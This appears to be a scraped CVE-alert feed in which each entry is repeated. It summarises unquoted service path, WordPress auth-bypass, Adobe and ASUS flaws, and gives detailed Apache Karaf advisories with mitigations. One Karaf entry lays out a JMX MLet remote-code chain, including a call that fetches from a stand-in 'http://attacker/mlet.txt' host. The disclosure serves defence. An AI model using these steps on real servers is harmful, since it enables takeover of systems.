🚨 CVE-2016-20092
NetDrive 2.6.12 contains an unquoted service path vulnerability in the Netdrive2_Service_Netdrive2 service that allows local users to execute arbitrary code with SYSTEM privileges. Attackers can insert malicious executables in the system root path that will be executed during service startup or system reboot, resulting in privilege escalation.
🎖@cveNotify
NetDrive 2.6.12 contains an unquoted service path vulnerability in the Netdrive2_Service_Netdrive2 service that allows local users to execute arbitrary code with SYSTEM privileges. Attackers can insert malicious executables in the system root path that will be executed during service startup or system reboot, resulting in privilege escalation.
🎖@cveNotify
🚨 CVE-2016-20093
Wise Care 365 4.27 and Wise Disk Cleaner 9.29 contain unquoted service path vulnerabilities in the WiseBootAssistant and SpyHunter 4 Service respectively, allowing local users to execute arbitrary code with SYSTEM privileges. Attackers can insert malicious executables in the system root path that execute during service startup or system reboot with elevated privileges.
🎖@cveNotify
Wise Care 365 4.27 and Wise Disk Cleaner 9.29 contain unquoted service path vulnerabilities in the WiseBootAssistant and SpyHunter 4 Service respectively, allowing local users to execute arbitrary code with SYSTEM privileges. Attackers can insert malicious executables in the system root path that execute during service startup or system reboot with elevated privileges.
🎖@cveNotify
Wisecleaner
WiseCleaner Software - Optimize, Clean and Speed Up Your Windows PC
Download free WiseCleaner system utilities for Windows to improve your computer\'s performance and make it run faster.
🚨 CVE-2016-20094
AnyDesk 2.5.0 contains an unquoted service path vulnerability that allows local users to execute arbitrary code with SYSTEM privileges by exploiting the service installation. Attackers can insert malicious executables in the system root path that execute with elevated privileges during application startup or system reboot.
🎖@cveNotify
AnyDesk 2.5.0 contains an unquoted service path vulnerability that allows local users to execute arbitrary code with SYSTEM privileges by exploiting the service installation. Attackers can insert malicious executables in the system root path that execute with elevated privileges during application startup or system reboot.
🎖@cveNotify
AnyDesk
The Fast Remote Desktop Application – AnyDesk
Discover AnyDesk, the secure and intuitive remote desktop app with innovative features, perfect for seamless remote desktop application across devices.
🚨 CVE-2016-20095
Matrix42 Remote Control Host 3.20.0031 contains an unquoted service path vulnerability in the FastViewerRemoteService and FastViewerRemoteProxy services that allows local users to execute arbitrary code with SYSTEM privileges. Attackers can place a malicious executable in the Program Files directory with a crafted name to be executed by the service during startup, gaining elevated privileges.
🎖@cveNotify
Matrix42 Remote Control Host 3.20.0031 contains an unquoted service path vulnerability in the FastViewerRemoteService and FastViewerRemoteProxy services that allows local users to execute arbitrary code with SYSTEM privileges. Attackers can place a malicious executable in the Program Files directory with a crafted name to be executed by the service during startup, gaining elevated privileges.
🎖@cveNotify
Exploit Database
Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation
Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation.. local exploit for Windows platform
🚨 CVE-2019-25747
Network Inventory Advisor 5.0.26.0 installs the niaservice service with an unquoted binary path that allows local attackers to escalate privileges by placing malicious executables in intermediate directories. Attackers can exploit the unquoted path in the service configuration to execute arbitrary code with LocalSystem privileges when the service starts or restarts.
🎖@cveNotify
Network Inventory Advisor 5.0.26.0 installs the niaservice service with an unquoted binary path that allows local attackers to escalate privileges by placing malicious executables in intermediate directories. Attackers can exploit the unquoted path in the service configuration to execute arbitrary code with LocalSystem privileges when the service starts or restarts.
🎖@cveNotify
Exploit Database
Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path
Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path.. local exploit for Windows platform
🚨 CVE-2020-37250
TFTP Broadband 4.3.0.1465 contains an unquoted service path vulnerability in the tftpt.exe service binary that allows local attackers to execute arbitrary code with system privileges. Attackers can place a malicious executable in the Program Files directory path that will be executed during service startup or system reboot with LocalSystem privileges.
🎖@cveNotify
TFTP Broadband 4.3.0.1465 contains an unquoted service path vulnerability in the tftpt.exe service binary that allows local attackers to execute arbitrary code with system privileges. Attackers can place a malicious executable in the Program Files directory path that will be executed during service startup or system reboot with LocalSystem privileges.
🎖@cveNotify
Exploit Database
TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path
TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path.. local exploit for Windows platform
🚨 CVE-2020-37251
RealTimes Desktop Service 18.1.4 contains an unquoted service path vulnerability in the rpdsvc.exe binary that allows local attackers to escalate privileges. Attackers can place malicious executables in unquoted path directories to execute arbitrary code with LocalSystem privileges during service startup or system reboot.
🎖@cveNotify
RealTimes Desktop Service 18.1.4 contains an unquoted service path vulnerability in the rpdsvc.exe binary that allows local attackers to escalate privileges. Attackers can place malicious executables in unquoted path directories to execute arbitrary code with LocalSystem privileges during service startup or system reboot.
🎖@cveNotify
Exploit Database
RealTimes Desktop Service 18.1.4 - 'rpdsvc.exe' Unquoted Service Path
RealTimes Desktop Service 18.1.4 - 'rpdsvc.exe' Unquoted Service Path.. local exploit for Windows platform
🚨 CVE-2020-37252
Realtek Audio Service 1.0.0.55 contains an unquoted service path vulnerability in RtkAudioService64.exe that allows local attackers to escalate privileges by injecting malicious code. Attackers can place executable files in the unquoted service path directory to execute arbitrary code with LocalSystem privileges during service startup or system reboot.
🎖@cveNotify
Realtek Audio Service 1.0.0.55 contains an unquoted service path vulnerability in RtkAudioService64.exe that allows local attackers to escalate privileges by injecting malicious code. Attackers can place executable files in the unquoted service path directory to execute arbitrary code with LocalSystem privileges during service startup or system reboot.
🎖@cveNotify
Exploit Database
Realtek Audio Service 1.0.0.55 - 'RtkAudioService64.exe' Unquoted Service Path
Realtek Audio Service 1.0.0.55 - 'RtkAudioService64.exe' Unquoted Service Path.. local exploit for Windows platform
🚨 CVE-2020-37253
Winstep 18.06.0096 contains an unquoted service path vulnerability in the Winstep Xtreme Service that allows local attackers to escalate privileges. Attackers can place malicious executables in the Program Files directory to be executed with LocalSystem privileges when the service starts.
🎖@cveNotify
Winstep 18.06.0096 contains an unquoted service path vulnerability in the Winstep Xtreme Service that allows local attackers to escalate privileges. Attackers can place malicious executables in the Program Files directory to be executed with LocalSystem privileges when the service starts.
🎖@cveNotify
Exploit Database
Winstep 18.06.0096 - 'Xtreme Service' Unquoted Service Path
Winstep 18.06.0096 - 'Xtreme Service' Unquoted Service Path.. local exploit for Windows platform
🚨 CVE-2020-37254
Wondershare PDFelement 5.2.9 contains a privilege escalation vulnerability due to an unquoted service path in the WsAppService Windows service. Local attackers can place a malicious executable in the service path and execute code with LocalSystem privileges upon service restart or system reboot.
🎖@cveNotify
Wondershare PDFelement 5.2.9 contains a privilege escalation vulnerability due to an unquoted service path in the WsAppService Windows service. Local attackers can place a malicious executable in the service path and execute code with LocalSystem privileges upon service restart or system reboot.
🎖@cveNotify
🚨 CVE-2022-50971
Malwarebytes 4.5 contains an unquoted service path vulnerability in the MBAMService executable that allows local attackers to escalate privileges by injecting malicious code into the system root path. Attackers can place executable files in unquoted path directories that execute with LocalSystem privileges during service startup or system reboot.
🎖@cveNotify
Malwarebytes 4.5 contains an unquoted service path vulnerability in the MBAMService executable that allows local attackers to escalate privileges by injecting malicious code into the system root path. Attackers can place executable files in unquoted path directories that execute with LocalSystem privileges during service startup or system reboot.
🎖@cveNotify
Exploit Database
Malwarebytes 4.5 - Unquoted Service Path
Malwarebytes 4.5 - Unquoted Service Path.. local exploit for Windows platform
🚨 CVE-2019-25763
WordPress Ultimate Addons for Beaver Builder 1.2.4.1 contains an authentication bypass vulnerability that allows attackers to gain unauthorized access by exploiting the social media login form functionality. Attackers can submit a POST request to the admin-ajax.php endpoint with the uabb-lf-google-submit action, a valid administrator email address, and a valid nonce to obtain session cookies and authenticate as that user.
🎖@cveNotify
WordPress Ultimate Addons for Beaver Builder 1.2.4.1 contains an authentication bypass vulnerability that allows attackers to gain unauthorized access by exploiting the social media login form functionality. Attackers can submit a POST request to the admin-ajax.php endpoint with the uabb-lf-google-submit action, a valid administrator email address, and a valid nonce to obtain session cookies and authenticate as that user.
🎖@cveNotify
Exploit Database
WordPress Plugin Ultimate Addons for Beaver Builder 1.2.4.1 - Authentication Bypass
WordPress Plugin Ultimate Addons for Beaver Builder 1.2.4.1 - Authentication Bypass.. webapps exploit for PHP platform
🚨 CVE-2020-37255
WordPress Time Capsule Plugin 1.21.16 contains an authentication bypass vulnerability that allows unauthenticated attackers to gain administrative access by sending a crafted POST request with the IWP_JSON_PREFIX header. Attackers can exploit this flaw to obtain valid administrator session cookies and access the WordPress dashboard without providing credentials.
🎖@cveNotify
WordPress Time Capsule Plugin 1.21.16 contains an authentication bypass vulnerability that allows unauthenticated attackers to gain administrative access by sending a crafted POST request with the IWP_JSON_PREFIX header. Attackers can exploit this flaw to obtain valid administrator session cookies and access the WordPress dashboard without providing credentials.
🎖@cveNotify
WordPress Backup + Staging - WP Time Capsule
Back up just the changes to your WordPress sites
A time machine for your WordPress with smart incremental backups and restores.
🚨 CVE-2022-50972
WooCommerce 7.1.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary PHP code by injecting shell commands through the product-type parameter. Attackers can send requests to the class-wc-meta-box-product-images.php endpoint with unsanitized product-type values to write malicious PHP files to the web root.
🎖@cveNotify
WooCommerce 7.1.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary PHP code by injecting shell commands through the product-type parameter. Attackers can send requests to the class-wc-meta-box-product-images.php endpoint with unsanitized product-type values to write malicious PHP files to the web root.
🎖@cveNotify
WordPress.org
WooCommerce
Everything you need to launch an online store in days and keep it growing for years. From your first sale to millions in revenue, Woo is with you.
🚨 CVE-2020-9711
Acrobat Reader versions 2020.009.20074, 2020.001.30002, 2017.011.30171, 2015.006.30523 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
🎖@cveNotify
Acrobat Reader versions 2020.009.20074, 2020.001.30002, 2017.011.30171, 2015.006.30523 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
🎖@cveNotify
Adobe
Adobe Security Bulletin
Security Updates Available for Adobe Acrobat and Reader | APSB20-48
🚨 CVE-2020-9713
Adobe Acrobat and Reader versions 2020.009.20074 and earlier, 2020.001.30002, 2017.011.30171 and earlier, and 2015.006.30523 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
🎖@cveNotify
Adobe Acrobat and Reader versions 2020.009.20074 and earlier, 2020.001.30002, 2017.011.30171 and earlier, and 2015.006.30523 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
🎖@cveNotify
Adobe
Adobe Security Bulletin
Security Updates Available for Adobe Acrobat and Reader | APSB20-48
🚨 CVE-2019-25764
**UNSUPPORTED WHEN ASSIGNED** Exposed IOCTL with Insufficient Access Control in the ASUS AURA SYNC driver allows a local user to bypass the driver's verification and invoke arbitrary IOCTLs, resulting in privilege escalation.
Refer to the 'End-of-Life Notice and Driver Update for Legacy ASUS Drivers ' section on the ASUS Security Advisory for more information.
🎖@cveNotify
**UNSUPPORTED WHEN ASSIGNED** Exposed IOCTL with Insufficient Access Control in the ASUS AURA SYNC driver allows a local user to bypass the driver's verification and invoke arbitrary IOCTLs, resulting in privilege escalation.
Refer to the 'End-of-Life Notice and Driver Update for Legacy ASUS Drivers ' section on the ASUS Security Advisory for more information.
🎖@cveNotify
Asus
ASUS Security Advisory | Latest Vulnerability Update
Stay updated with ASUS security advisories, firmware patches, and vulnerability reports. Learn how to protect your devices and report issues.
🚨 CVE-2026-91012
org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties),
which backs the "config" MBean and the config:* shell commands, derives the file
it writes a configuration to from caller-supplied input without checking that
the result stays inside ${karaf.etc}:
* if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to;
* otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias.
Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container.
ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all.
🎖@cveNotify
org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties),
which backs the "config" MBean and the config:* shell commands, derives the file
it writes a configuration to from caller-supplied input without checking that
the result stays inside ${karaf.etc}:
* if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to;
* otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias.
Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container.
ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all.
🎖@cveNotify
🚨 CVE-2026-91048
The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration".
The same applies to jms:* shell commands.
🎖@cveNotify
The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration".
The same applies to jms:* shell commands.
🎖@cveNotify
🚨 CVE-2026-91085
Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user.
The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role.
config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL.
Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart.
By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier.
MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default.
🎖@cveNotify
Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user.
The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role.
config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL.
Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart.
By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier.
MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default.
🎖@cveNotify
🚨 CVE-2026-92142
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:
private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));
The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.
As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).
This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:
* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:
createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
🎖@cveNotify
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:
private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));
The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.
As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).
This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:
* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:
createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
🎖@cveNotify